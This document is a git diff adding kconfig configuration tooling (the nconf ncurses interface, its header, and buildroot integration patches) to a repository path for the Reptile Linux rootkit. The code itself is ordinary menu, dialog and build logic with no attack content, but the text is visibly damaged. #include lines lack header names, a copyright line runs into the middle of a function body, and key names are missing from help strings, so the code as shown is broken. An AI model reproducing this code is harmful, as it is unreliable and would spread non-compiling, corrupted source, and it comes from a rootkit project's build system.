set_menu_grey(curses_menu, attributes[MAIN_MENU_GREY]); + + set_config_filename(conf_get_configname()); + setup_windows(); + + /* check for KEY_FUNC(1) */ + if (has_key(KEY_F(1)) == FALSE) { + show_scroll_win(main_window, + _("Instructions"), + _(menu_no_f_instructions)); + } + + conf_set_message_callback(conf_message_callback); + /* do the work */ + while (!global_exit) { + conf(&rootmenu); + if (!global_exit && do_exit() == 0) + break; + } + /* ok, we are done */ + unpost_menu(curses_menu); + free_menu(curses_menu); + delwin(main_window); + clear(); + refresh(); + endwin(); + return 0; +} + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/nconf.gui.c b/Linux/Rootkits/Reptile/scripts/kconfig/nconf.gui.c new file mode 100644 index 0000000..8275f0e --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/nconf.gui.c @@ -0,0 +1,656 @@ +/* + * Copyright (C) 2008 Nir Tzachar 0) + win_rows = msg_lines+4; + else + win_rows = msg_lines+2; + + win = newwin(win_rows, total_width+4, y, x); + keypad(win, TRUE); + menu_win = derwin(win, 1, btns_width, win_rows-2, + 1+(total_width+2-btns_width)/2); + menu = new_menu(btns); + msg_win = derwin(win, win_rows-2, msg_width, 1, + 1+(total_width+2-msg_width)/2); + + set_menu_fore(menu, attributes[DIALOG_MENU_FORE]); + set_menu_back(menu, attributes[DIALOG_MENU_BACK]); + + (void) wattrset(win, attributes[DIALOG_BOX]); + box(win, 0, 0); + + /* print message */ + (void) wattrset(msg_win, attributes[DIALOG_TEXT]); + fill_window(msg_win, msg); + + set_menu_win(menu, win); + set_menu_sub(menu, menu_win); + set_menu_format(menu, 1, btn_num); + menu_opts_off(menu, O_SHOWDESC); + menu_opts_off(menu, O_SHOWMATCH); + menu_opts_on(menu, O_ONEVALUE); + menu_opts_on(menu, O_NONCYCLIC); + set_menu_mark(menu, ""); + post_menu(menu); + + + touchwin(win); + refresh_all_windows(main_window); + while ((res = wgetch(win))) { + switch (res) { + case KEY_LEFT: + menu_driver(menu, REQ_LEFT_ITEM); + break; + case KEY_RIGHT: + menu_driver(menu, REQ_RIGHT_ITEM); + break; + case 10: /* ENTER */ + case 27: /* ESCAPE */ + case ' ': + case KEY_F(F_BACK): + case KEY_F(F_EXIT): + break; + } + touchwin(win); + refresh_all_windows(main_window); + + if (res == 10 || res == ' ') { + res = item_index(current_item(menu)); + break; + } else if (res == 27 || res == KEY_F(F_BACK) || + res == KEY_F(F_EXIT)) { + res = KEY_EXIT; + break; + } + } + + unpost_menu(menu); + free_menu(menu); + for (i = 0; i < btn_num; i++) + free_item(btns[i]); + + delwin(win); + return res; +} + +int dialog_inputbox(WINDOW *main_window, + const char *title, const char *prompt, + const char *init, char **resultp, int *result_len) +{ + int prompt_lines = 0; + int prompt_width = 0; + WINDOW *win; + WINDOW *prompt_win; + WINDOW *form_win; + PANEL *panel; + int i, x, y; + int res = -1; + int cursor_position = strlen(init); + int cursor_form_win; + char *result = *resultp; + + if (strlen(init)+1 > *result_len) { + *result_len = strlen(init)+1; + *resultp = result = realloc(result, *result_len); + } + + /* find the widest line of msg: */ + prompt_lines = get_line_no(prompt); + for (i = 0; i < prompt_lines; i++) { + const char *line = get_line(prompt, i); + int len = get_line_length(line); + prompt_width = max(prompt_width, len); + } + + if (title) + prompt_width = max(prompt_width, strlen(title)); + + /* place dialog in middle of screen */ + y = (getmaxy(stdscr)-(prompt_lines+4))/2; + x = (getmaxx(stdscr)-(prompt_width+4))/2; + + strncpy(result, init, *result_len); + + /* create the windows */ + win = newwin(prompt_lines+6, prompt_width+7, y, x); + prompt_win = derwin(win, prompt_lines+1, prompt_width, 2, 2); + form_win = derwin(win, 1, prompt_width, prompt_lines+3, 2); + keypad(form_win, TRUE); + + (void) wattrset(form_win, attributes[INPUT_FIELD]); + + (void) wattrset(win, attributes[INPUT_BOX]); + box(win, 0, 0); + (void) wattrset(win, attributes[INPUT_HEADING]); + if (title) + mvwprintw(win, 0, 3, "%s", title); + + /* print message */ + (void) wattrset(prompt_win, attributes[INPUT_TEXT]); + fill_window(prompt_win, prompt); + + mvwprintw(form_win, 0, 0, "%*s", prompt_width, " "); + cursor_form_win = min(cursor_position, prompt_width-1); + mvwprintw(form_win, 0, 0, "%s", + result + cursor_position-cursor_form_win); + + /* create panels */ + panel = new_panel(win); + + /* show the cursor */ + curs_set(1); + + touchwin(win); + refresh_all_windows(main_window); + while ((res = wgetch(form_win))) { + int len = strlen(result); + switch (res) { + case 10: /* ENTER */ + case 27: /* ESCAPE */ + case KEY_F(F_HELP): + case KEY_F(F_EXIT): + case KEY_F(F_BACK): + break; + case 127: + case KEY_BACKSPACE: + if (cursor_position > 0) { + memmove(&result[cursor_position-1], + &result[cursor_position], + len-cursor_position+1); + cursor_position--; + cursor_form_win--; + len--; + } + break; + case KEY_DC: + if (cursor_position >= 0 && cursor_position < len) { + memmove(&result[cursor_position], + &result[cursor_position+1], + len-cursor_position+1); + len--; + } + break; + case KEY_UP: + case KEY_RIGHT: + if (cursor_position < len) { + cursor_position++; + cursor_form_win++; + } + break; + case KEY_DOWN: + case KEY_LEFT: + if (cursor_position > 0) { + cursor_position--; + cursor_form_win--; + } + break; + case KEY_HOME: + cursor_position = 0; + cursor_form_win = 0; + break; + case KEY_END: + cursor_position = len; + cursor_form_win = min(cursor_position, prompt_width-1); + break; + default: + if ((isgraph(res) || isspace(res))) { + /* one for new char, one for '\0' */ + if (len+2 > *result_len) { + *result_len = len+2; + *resultp = result = realloc(result, + *result_len); + } + /* insert the char at the proper position */ + memmove(&result[cursor_position+1], + &result[cursor_position], + len-cursor_position+1); + result[cursor_position] = res; + cursor_position++; + cursor_form_win++; + len++; + } else { + mvprintw(0, 0, "unknown key: %d\n", res); + } + break; + } + if (cursor_form_win < 0) + cursor_form_win = 0; + else if (cursor_form_win > prompt_width-1) + cursor_form_win = prompt_width-1; + + wmove(form_win, 0, 0); + wclrtoeol(form_win); + mvwprintw(form_win, 0, 0, "%*s", prompt_width, " "); + mvwprintw(form_win, 0, 0, "%s", + result + cursor_position-cursor_form_win); + wmove(form_win, 0, cursor_form_win); + touchwin(win); + refresh_all_windows(main_window); + + if (res == 10) { + res = 0; + break; + } else if (res == 27 || res == KEY_F(F_BACK) || + res == KEY_F(F_EXIT)) { + res = KEY_EXIT; + break; + } else if (res == KEY_F(F_HELP)) { + res = 1; + break; + } + } + + /* hide the cursor */ + curs_set(0); + del_panel(panel); + delwin(prompt_win); + delwin(form_win); + delwin(win); + return res; +} + +/* refresh all windows in the correct order */ +void refresh_all_windows(WINDOW *main_window) +{ + update_panels(); + touchwin(main_window); + refresh(); +} + +/* layman's scrollable window... */ +void show_scroll_win(WINDOW *main_window, + const char *title, + const char *text) +{ + int res; + int total_lines = get_line_no(text); + int x, y, lines, columns; + int start_x = 0, start_y = 0; + int text_lines = 0, text_cols = 0; + int total_cols = 0; + int win_cols = 0; + int win_lines = 0; + int i = 0; + WINDOW *win; + WINDOW *pad; + PANEL *panel; + + getmaxyx(stdscr, lines, columns); + + /* find the widest line of msg: */ + total_lines = get_line_no(text); + for (i = 0; i < total_lines; i++) { + const char *line = get_line(text, i); + int len = get_line_length(line); + total_cols = max(total_cols, len+2); + } + + /* create the pad */ + pad = newpad(total_lines+10, total_cols+10); + (void) wattrset(pad, attributes[SCROLLWIN_TEXT]); + fill_window(pad, text); + + win_lines = min(total_lines+4, lines-2); + win_cols = min(total_cols+2, columns-2); + text_lines = max(win_lines-4, 0); + text_cols = max(win_cols-2, 0); + + /* place window in middle of screen */ + y = (lines-win_lines)/2; + x = (columns-win_cols)/2; + + win = newwin(win_lines, win_cols, y, x); + keypad(win, TRUE); + /* show the help in the help window, and show the help panel */ + (void) wattrset(win, attributes[SCROLLWIN_BOX]); + box(win, 0, 0); + (void) wattrset(win, attributes[SCROLLWIN_HEADING]); + mvwprintw(win, 0, 3, " %s ", title); + panel = new_panel(win); + + /* handle scrolling */ + do { + + copywin(pad, win, start_y, start_x, 2, 2, text_lines, + text_cols, 0); + print_in_middle(win, + text_lines+2, + 0, + text_cols, + "", + attributes[DIALOG_MENU_FORE]); + wrefresh(win); + + res = wgetch(win); + switch (res) { + case KEY_NPAGE: + case ' ': + case 'd': + start_y += text_lines-2; + break; + case KEY_PPAGE: + case 'u': + start_y -= text_lines+2; + break; + case KEY_HOME: + start_y = 0; + break; + case KEY_END: + start_y = total_lines-text_lines; + break; + case KEY_DOWN: + case 'j': + start_y++; + break; + case KEY_UP: + case 'k': + start_y--; + break; + case KEY_LEFT: + case 'h': + start_x--; + break; + case KEY_RIGHT: + case 'l': + start_x++; + break; + } + if (res == 10 || res == 27 || res == 'q' || + res == KEY_F(F_HELP) || res == KEY_F(F_BACK) || + res == KEY_F(F_EXIT)) + break; + if (start_y < 0) + start_y = 0; + if (start_y >= total_lines-text_lines) + start_y = total_lines-text_lines; + if (start_x < 0) + start_x = 0; + if (start_x >= total_cols-text_cols) + start_x = total_cols-text_cols; + } while (res); + + del_panel(panel); + delwin(win); + refresh_all_windows(main_window); +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/nconf.h b/Linux/Rootkits/Reptile/scripts/kconfig/nconf.h new file mode 100644 index 0000000..0d52617 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/nconf.h @@ -0,0 +1,96 @@ +/* + * Copyright (C) 2008 Nir Tzachar +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#include "ncurses.h" + +#define max(a, b) ({\ + typeof(a) _a = a;\ + typeof(b) _b = b;\ + _a > _b ? _a : _b; }) + +#define min(a, b) ({\ + typeof(a) _a = a;\ + typeof(b) _b = b;\ + _a < _b ? _a : _b; }) + +typedef enum { + NORMAL = 1, + MAIN_HEADING, + MAIN_MENU_BOX, + MAIN_MENU_FORE, + MAIN_MENU_BACK, + MAIN_MENU_GREY, + MAIN_MENU_HEADING, + SCROLLWIN_TEXT, + SCROLLWIN_HEADING, + SCROLLWIN_BOX, + DIALOG_TEXT, + DIALOG_MENU_FORE, + DIALOG_MENU_BACK, + DIALOG_BOX, + INPUT_BOX, + INPUT_HEADING, + INPUT_TEXT, + INPUT_FIELD, + FUNCTION_TEXT, + FUNCTION_HIGHLIGHT, + ATTR_MAX +} attributes_t; +extern attributes_t attributes[]; + +typedef enum { + F_HELP = 1, + F_SYMBOL = 2, + F_INSTS = 3, + F_CONF = 4, + F_BACK = 5, + F_SAVE = 6, + F_LOAD = 7, + F_SEARCH = 8, + F_EXIT = 9, +} function_key; + +void set_colors(void); + +/* this changes the windows attributes !!! */ +void print_in_middle(WINDOW *win, + int starty, + int startx, + int width, + const char *string, + chtype color); +int get_line_length(const char *line); +int get_line_no(const char *text); +const char *get_line(const char *text, int line_no); +void fill_window(WINDOW *win, const char *text); +int btn_dialog(WINDOW *main_window, const char *msg, int btn_num, ...); +int dialog_inputbox(WINDOW *main_window, + const char *title, const char *prompt, + const char *init, char **resultp, int *result_len); +void refresh_all_windows(WINDOW *main_window); +void show_scroll_win(WINDOW *main_window, + const char *title, + const char *text); diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/patches/01-kconfig-kernel-to-buildroot.patch b/Linux/Rootkits/Reptile/scripts/kconfig/patches/01-kconfig-kernel-to-buildroot.patch new file mode 100644 index 0000000..ecfe76b --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/patches/01-kconfig-kernel-to-buildroot.patch @@ -0,0 +1,107 @@ +--- + confdata.c | 4 ++-- + gconf.glade | 2 +- + mconf.c | 4 ++-- + zconf.tab.c_shipped | 2 +- + zconf.y | 2 +- + 5 files changed, 7 insertions(+), 7 deletions(-) + +Index: kconfig/gconf.glade +=================================================================== +--- kconfig.orig/gconf.glade 2013-12-27 22:14:32.395629843 +0100 ++++ kconfig/gconf.glade 2013-12-27 22:14:32.387630158 +0100 +@@ -4,7 +4,7 @@ + + + True +- Gtk Kernel Configurator ++ Gtk Buildroot Configurator + GTK_WINDOW_TOPLEVEL + GTK_WIN_POS_NONE + False +Index: kconfig/mconf.c +=================================================================== +--- kconfig.orig/mconf.c 2013-12-27 22:14:32.395629843 +0100 ++++ kconfig/mconf.c 2013-12-27 22:14:42.179244153 +0100 +@@ -176,9 +176,9 @@ + "Arrow keys navigate the menu. " + " selects submenus ---> (or empty submenus ----). " + "Highlighted letters are hotkeys. " +- "Pressing includes, excludes, modularizes features. " ++ "Pressing selectes a feature, while will exclude a feature. " + "Press to exit, for Help, for Search. " +- "Legend: [*] built-in [ ] excluded module < > module capable"), ++ "Legend: [*] feature is selected [ ] feature is excluded"), + radiolist_instructions[] = N_( + "Use the arrow keys to navigate this window or " + "press the hotkey of the item you wish to select " +@@ -959,7 +959,7 @@ + if (conf_get_changed()) + res = dialog_yesno(NULL, + _("Do you wish to save your new configuration?\n" +- "(Press to continue kernel configuration.)"), ++ "(Press to continue Buildroot configuration.)"), + 6, 60); + else + res = -1; +Index: kconfig/zconf.tab.c_shipped +=================================================================== +--- kconfig.orig/zconf.tab.c_shipped 2013-12-27 22:14:32.395629843 +0100 ++++ kconfig/zconf.tab.c_shipped 2013-12-27 22:14:32.391630000 +0100 +@@ -2297,7 +2297,7 @@ + + sym_init(); + _menu_init(); +- rootmenu.prompt = menu_add_prompt(P_MENU, "Linux Kernel Configuration", NULL); ++ rootmenu.prompt = menu_add_prompt(P_MENU, "Buildroot Configuration", NULL); + + if (getenv("ZCONF_DEBUG")) + zconfdebug = 1; +Index: kconfig/zconf.y +=================================================================== +--- kconfig.orig/zconf.y 2013-12-27 22:14:32.395629843 +0100 ++++ kconfig/zconf.y 2013-12-27 22:14:32.391630000 +0100 +@@ -493,7 +493,7 @@ + + sym_init(); + _menu_init(); +- rootmenu.prompt = menu_add_prompt(P_MENU, "Linux Kernel Configuration", NULL); ++ rootmenu.prompt = menu_add_prompt(P_MENU, "Buildroot Configuration", NULL); + + if (getenv("ZCONF_DEBUG")) + zconfdebug = 1; +Index: kconfig/confdata.c +=================================================================== +--- kconfig.orig/confdata.c 2013-12-27 22:14:32.395629843 +0100 ++++ kconfig/confdata.c 2013-12-27 22:14:32.391630000 +0100 +@@ -25,7 +25,7 @@ + static const char *conf_filename; + static int conf_lineno, conf_warnings, conf_unsaved; + +-const char conf_defname[] = "arch/$ARCH/defconfig"; ++const char conf_defname[] = ".defconfig"; + + static void conf_warning(const char *fmt, ...) + { +@@ -63,7 +63,7 @@ + + const char *conf_get_configname(void) + { +- char *name = getenv("KCONFIG_CONFIG"); ++ char *name = getenv("BR2_CONFIG"); + + return name ? name : ".config"; + } +Index: kconfig/qconf.cc +=================================================================== +--- kconfig.orig/qconf.cc 2013-12-27 22:12:15.825013567 +0100 ++++ kconfig/qconf.cc 2013-12-27 22:14:57.826627300 +0100 +@@ -70,7 +70,7 @@ + } + + ConfigSettings::ConfigSettings() +- : QSettings("kernel.org", "qconf") ++ : QSettings("buildroot.org", "qconf") + { + } + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/patches/06-br-build-system-integration.patch b/Linux/Rootkits/Reptile/scripts/kconfig/patches/06-br-build-system-integration.patch new file mode 100644 index 0000000..3faa39e --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/patches/06-br-build-system-integration.patch @@ -0,0 +1,35 @@ +--- + Makefile | 8 ++++---- + 1 file changed, 4 insertions(+), 4 deletions(-) + +Index: b/Makefile +=================================================================== +--- a/Makefile ++++ b/Makefile +@@ -159,11 +159,11 @@ + + hostprogs-y := conf + +-ifeq ($(MAKECMDGOALS),nconfig) ++ifeq ($(MAKECMDGOALS),nconf) + hostprogs-y += nconf + endif + +-ifeq ($(MAKECMDGOALS),menuconfig) ++ifeq ($(MAKECMDGOALS),mconf) + hostprogs-y += mconf + endif + +@@ -171,10 +171,10 @@ + hostprogs-y += kxgettext + endif + +-ifeq ($(MAKECMDGOALS),xconfig) ++ifeq ($(MAKECMDGOALS),qconf) + qconf-target := 1 + endif +-ifeq ($(MAKECMDGOALS),gconfig) ++ifeq ($(MAKECMDGOALS),gconf) + gconf-target := 1 + endif + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/patches/10-br-build-system.patch b/Linux/Rootkits/Reptile/scripts/kconfig/patches/10-br-build-system.patch new file mode 100644 index 0000000..be6fda0 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/patches/10-br-build-system.patch @@ -0,0 +1,80 @@ +--- + Makefile.br | 53 +++++++++++++++++++++++++++++++++++++++++++++++++++++ + foo.h | 12 ++++++++++++ + 2 files changed, 65 insertions(+) + +Index: b/Makefile.br +=================================================================== +--- /dev/null ++++ b/Makefile.br +@@ -0,0 +1,53 @@ ++src := . ++top_srcdir=../../ ++top_builddir=../../ ++srctree := . ++obj ?= . ++ ++include Makefile ++#HOSTCFLAGS+=-Dinline="" -include foo.h ++-include $(obj)/.depend ++$(obj)/.depend: $(wildcard *.h *.c) ++ $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) -MM *.c > $@ 2>/dev/null || : ++ ++__hostprogs := $(sort $(hostprogs-y) $(hostprogs-m)) ++host-csingle := $(foreach m,$(__hostprogs),$(if $($(m)-objs),,$(m))) ++host-cmulti := $(foreach m,$(__hostprogs),\ ++ $(if $($(m)-cxxobjs),,$(if $($(m)-objs),$(m)))) ++host-cxxmulti := $(foreach m,$(__hostprogs),\ ++ $(if $($(m)-cxxobjs),$(m),$(if $($(m)-objs),))) ++host-cobjs := $(addprefix $(obj)/,$(sort $(foreach m,$(__hostprogs),$($(m)-objs)))) ++host-cxxobjs := $(addprefix $(obj)/,$(sort $(foreach m,$(__hostprogs),$($(m)-cxxobjs)))) ++ ++HOST_EXTRACFLAGS += -I$(obj) -DCONFIG_=\"\" ++ ++$(host-csingle): %: %.c ++ $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$@) $< -o $(obj)/$@ ++ ++$(host-cmulti): %: $(host-cobjs) $(host-cshlib) ++ $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$@) $(addprefix $(obj)/,$($(@F)-objs)) $(HOSTLOADLIBES_$(@F)) -o $(obj)/$@ ++ ++$(host-cxxmulti): %: $(host-cxxobjs) $(host-cobjs) $(host-cshlib) ++ $(HOSTCXX) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCXXFLAGS_$@) $(addprefix $(obj)/,$($(@F)-objs) $($(@F)-cxxobjs)) $(HOSTLOADLIBES_$(@F)) -o $(obj)/$@ ++ ++$(obj)/%.o: %.c ++ $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$(@F)) -c $< -o $@ ++ ++$(obj)/%.o: $(obj)/%.c ++ $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCFLAGS_$(@F)) -c $< -o $@ ++ ++$(obj)/%.o: %.cc ++ $(HOSTCC) $(HOST_EXTRACFLAGS) $(HOSTCFLAGS) $(HOSTCXXFLAGS_$(@F)) -c $< -o $@ ++ ++$(obj)/%:: $(src)/%_shipped ++ $(Q)cat $< > $@ ++ ++clean: ++ $(Q)rm -f $(addprefix $(obj)/,$(clean-files)) ++distclean: clean ++ $(Q)rm -f $(addprefix $(obj)/,$(lxdialog) $(conf-objs) $(mconf-objs) $(kxgettext-objs) \ ++ $(hostprogs-y) $(qconf-cxxobjs) $(qconf-objs) $(gconf-objs) \ ++ mconf .depend) ++ ++FORCE: ++.PHONY: FORCE clean distclean +Index: b/foo.h +=================================================================== +--- /dev/null ++++ b/foo.h +@@ -0,0 +1,12 @@ ++#ifndef __KCONFIG_FOO_H ++#define __KCONFIG_FOO_H ++ ++#ifndef __APPLE__ ++#include ++#endif ++#include ++ ++#ifndef PATH_MAX ++#define PATH_MAX 1024 ++#endif ++#endif /* __KCONFIG_FOO_H */ diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/patches/100-kconfig-generic-env.patch b/Linux/Rootkits/Reptile/scripts/kconfig/patches/100-kconfig-generic-env.patch new file mode 100644 index 0000000..ea1386b --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/patches/100-kconfig-generic-env.patch @@ -0,0 +1,282 @@ + Makefile | 8 ++++++-- + conf.c | 10 +++++----- + confdata.c | 16 ++++++++-------- + expr.h | 2 +- + gconf.glade | 2 +- + lkc.h | 15 +++++++++++++++ + mconf.c | 2 +- + merge_config.sh | 3 ++- + qconf.cc | 2 +- + zconf.tab.c_shipped | 2 +- + zconf.y | 2 +- + 11 files changed, 42 insertions(+), 22 deletions(-) + +Index: kconfig/Makefile +=================================================================== +--- kconfig.orig/Makefile 2014-05-20 13:13:21.000000000 +0200 ++++ kconfig/Makefile 2014-05-20 13:13:21.000000000 +0200 +@@ -11,6 +11,10 @@ + Kconfig := Kconfig + endif + ++ifndef KBUILD_CONFIG_DIR ++KBUILD_CONFIG_DIR=arch/$(SRCARCH)/configs ++endif ++ + # We need this, in case the user has it in its environment + unexport CONFIG_ + +@@ -98,11 +102,11 @@ + $< --defconfig $(Kconfig) + else + @echo "*** Default configuration is based on '$(KBUILD_DEFCONFIG)'" +- $(Q)$< --defconfig=arch/$(SRCARCH)/configs/$(KBUILD_DEFCONFIG) $(Kconfig) ++ $(Q)$< --defconfig=$(KBUILD_CONFIG_DIR)/$(KBUILD_DEFCONFIG) $(Kconfig) + endif + + %_defconfig: $(obj)/conf +- $(Q)$< --defconfig=arch/$(SRCARCH)/configs/$@ $(Kconfig) ++ $(Q)$< --defconfig=$(KBUILD_CONFIG_DIR)/$@ $(Kconfig) + + # Help text used by make help + help: +Index: kconfig/conf.c +=================================================================== +--- kconfig.orig/conf.c 2014-05-20 13:13:21.000000000 +0200 ++++ kconfig/conf.c 2014-05-20 13:13:21.000000000 +0200 +@@ -524,7 +524,7 @@ + gettimeofday(&now, NULL); + seed = (unsigned int)((now.tv_sec + 1) * (now.tv_usec + 1)); + +- seed_env = getenv("KCONFIG_SEED"); ++ seed_env = getenv(PRODUCT_ENV"_SEED"); + if( seed_env && *seed_env ) { + char *endp; + int tmp = (int)strtol(seed_env, &endp, 0); +@@ -532,7 +532,7 @@ + seed = tmp; + } + } +- fprintf( stderr, "KCONFIG_SEED=0x%X\n", seed ); ++ fprintf( stderr, PRODUCT_ENV"_SEED=0x%X\n", seed ); + srand(seed); + break; + } +@@ -595,7 +595,7 @@ + case allmodconfig: + case alldefconfig: + case randconfig: +- name = getenv("KCONFIG_ALLCONFIG"); ++ name = getenv(PRODUCT_ENV"_ALLCONFIG"); + if (!name) + break; + if ((strcmp(name, "") != 0) && (strcmp(name, "1") != 0)) { +@@ -618,7 +618,7 @@ + if (conf_read_simple(name, S_DEF_USER) && + conf_read_simple("all.config", S_DEF_USER)) { + fprintf(stderr, +- _("*** KCONFIG_ALLCONFIG set, but no \"%s\" or \"all.config\" file found\n"), ++ _("*** "PRODUCT_ENV"_ALLCONFIG set, but no \"%s\" or \"all.config\" file found\n"), + name); + exit(1); + } +@@ -629,7 +629,7 @@ + + if (sync_kconfig) { + if (conf_get_changed()) { +- name = getenv("KCONFIG_NOSILENTUPDATE"); ++ name = getenv(PRODUCT_ENV"_NOSILENTUPDATE"); + if (name && *name) { + fprintf(stderr, + _("\n*** The configuration requires explicit update.\n\n")); +Index: kconfig/confdata.c +=================================================================== +--- kconfig.orig/confdata.c 2014-05-20 13:13:21.000000000 +0200 ++++ kconfig/confdata.c 2014-05-20 13:13:21.000000000 +0200 +@@ -64,14 +64,14 @@ + + const char *conf_get_configname(void) + { +- char *name = getenv("BR2_CONFIG"); ++ char *name = getenv(PRODUCT_ENV"_CONFIG"); + + return name ? name : ".config"; + } + + const char *conf_get_autoconfig_name(void) + { +- return getenv("KCONFIG_AUTOCONFIG"); ++ return getenv(PRODUCT_ENV"_AUTOCONFIG"); + } + + static char *conf_expand_value(const char *in) +@@ -767,7 +767,7 @@ + basename = conf_get_configname(); + + sprintf(newname, "%s%s", dirname, basename); +- env = getenv("KCONFIG_OVERWRITECONFIG"); ++ env = getenv(PRODUCT_ENV"_OVERWRITECONFIG"); + if (!env || !*env) { + sprintf(tmpname, "%s.tmpconfig.%d", dirname, (int)getpid()); + out = fopen(tmpname, "w"); +@@ -1027,13 +1027,13 @@ + fclose(tristate); + fclose(out_h); + +- name = getenv("KCONFIG_AUTOHEADER"); ++ name = getenv(PRODUCT_ENV"_AUTOHEADER"); + if (!name) + name = "include/generated/autoconf.h"; + sprintf(buf, "%s.tmpconfig.h", dir); + if (rename(buf, name)) + return 1; +- name = getenv("KCONFIG_TRISTATE"); ++ name = getenv(PRODUCT_ENV"_TRISTATE"); + if (!name) + name = "include/config/tristate.conf"; + sprintf(buf, "%s.tmpconfig_tristate", dir); +@@ -1159,7 +1159,7 @@ + * -Wmaybe-uninitialized */ + if (mode == def_random) { + int n, p[3]; +- char *env = getenv("KCONFIG_PROBABILITY"); ++ char *env = getenv(PRODUCT_ENV"_PROBABILITY"); + n = 0; + while( env && *env ) { + char *endp; +@@ -1168,7 +1168,7 @@ + p[n++] = tmp; + } else { + errno = ERANGE; +- perror( "KCONFIG_PROBABILITY" ); ++ perror( PRODUCT_ENV"_PROBABILITY" ); + exit( 1 ); + } + env = (*endp == ':') ? endp+1 : endp; +@@ -1190,7 +1190,7 @@ + + if( pty+ptm > 100 ) { + errno = ERANGE; +- perror( "KCONFIG_PROBABILITY" ); ++ perror( PRODUCT_ENV"_PROBABILITY" ); + exit( 1 ); + } + } +Index: kconfig/expr.h +=================================================================== +--- kconfig.orig/expr.h 2014-05-20 13:12:12.000000000 +0200 ++++ kconfig/expr.h 2014-05-20 13:13:21.000000000 +0200 +@@ -93,7 +93,7 @@ + #define SYMBOL_CHOICEVAL 0x0020 /* used as a value in a choice block */ + #define SYMBOL_VALID 0x0080 /* set when symbol.curr is calculated */ + #define SYMBOL_OPTIONAL 0x0100 /* choice is optional - values can be 'n' */ +-#define SYMBOL_WRITE 0x0200 /* write symbol to file (KCONFIG_CONFIG) */ ++#define SYMBOL_WRITE 0x0200 /* write symbol to file (PRODUCT_ENV"_CONFIG") */ + #define SYMBOL_CHANGED 0x0400 /* ? */ + #define SYMBOL_AUTO 0x1000 /* value from environment variable */ + #define SYMBOL_CHECKED 0x2000 /* used during dependency checking */ +Index: kconfig/gconf.glade +=================================================================== +--- kconfig.orig/gconf.glade 2014-05-20 13:13:21.000000000 +0200 ++++ kconfig/gconf.glade 2014-05-20 13:13:21.000000000 +0200 +@@ -4,7 +4,7 @@ + + + True +- Gtk Buildroot Configurator ++ Gtk PRODUCT Configurator + GTK_WINDOW_TOPLEVEL + GTK_WIN_POS_NONE + False +Index: kconfig/lkc.h +=================================================================== +--- kconfig.orig/lkc.h 2014-05-20 13:12:12.000000000 +0200 ++++ kconfig/lkc.h 2014-05-20 13:13:21.000000000 +0200 +@@ -21,6 +21,21 @@ + extern "C" { + #endif + ++#ifndef PRODUCT_ENV ++/* BR2 for buildroot, KCONFIG for kernel. */ ++#define PRODUCT_ENV "KCONFIG" ++#endif ++ ++#ifndef PRODUCT ++/* Buildroot buildroot, Kernel for kernel. */ ++#define PRODUCT "Kernel" ++#endif ++ ++#ifndef PRODUCT_DOMAIN ++/* buildroot.org for buildroot, kernel.org for kernel. */ ++#define PRODUCT_DOMAIN "kernel.org" ++#endif ++ + #define P(name,type,arg) extern type name arg + #include "lkc_proto.h" + #undef P +Index: kconfig/mconf.c +=================================================================== +--- kconfig.orig/mconf.c 2014-05-20 13:13:21.000000000 +0200 ++++ kconfig/mconf.c 2014-05-20 13:13:21.000000000 +0200 +@@ -959,7 +959,7 @@ + if (conf_get_changed()) + res = dialog_yesno(NULL, + _("Do you wish to save your new configuration?\n" +- "(Press to continue Buildroot configuration.)"), ++ "(Press to continue "PRODUCT" configuration.)"), + 6, 60); + else + res = -1; +Index: kconfig/merge_config.sh +=================================================================== +--- kconfig.orig/merge_config.sh 2014-05-20 13:12:12.000000000 +0200 ++++ kconfig/merge_config.sh 2014-05-20 13:13:21.000000000 +0200 +@@ -131,7 +131,8 @@ + # Use the merged file as the starting point for: + # alldefconfig: Fills in any missing symbols with Kconfig default + # allnoconfig: Fills in any missing symbols with # CONFIG_* is not set +-make KCONFIG_ALLCONFIG=$TMP_FILE $OUTPUT_ARG $ALLTARGET ++PRODUCT_ENV=${PRODUCT_ENV:-KCONFIG} ++make ${PRODUCT_ENV}_ALLCONFIG=$TMP_FILE $OUTPUT_ARG $ALLTARGET + + + # Check all specified config values took (might have missed-dependency issues) +Index: kconfig/qconf.cc +=================================================================== +--- kconfig.orig/qconf.cc 2014-05-20 13:13:21.000000000 +0200 ++++ kconfig/qconf.cc 2014-05-20 13:13:21.000000000 +0200 +@@ -70,7 +70,7 @@ + } + + ConfigSettings::ConfigSettings() +- : QSettings("buildroot.org", "qconf") ++ : QSettings(PRODUCT_DOMAIN, "qconf") + { + } + +Index: kconfig/zconf.tab.c_shipped +=================================================================== +--- kconfig.orig/zconf.tab.c_shipped 2014-05-20 13:13:21.000000000 +0200 ++++ kconfig/zconf.tab.c_shipped 2014-05-20 13:13:21.000000000 +0200 +@@ -2297,7 +2297,7 @@ + + sym_init(); + _menu_init(); +- rootmenu.prompt = menu_add_prompt(P_MENU, "Buildroot Configuration", NULL); ++ rootmenu.prompt = menu_add_prompt(P_MENU, PRODUCT" Configuration", NULL); + + if (getenv("ZCONF_DEBUG")) + zconfdebug = 1; +Index: kconfig/zconf.y +=================================================================== +--- kconfig.orig/zconf.y 2014-05-20 13:13:21.000000000 +0200 ++++ kconfig/zconf.y 2014-05-20 13:13:21.000000000 +0200 +@@ -493,7 +493,7 @@ + + 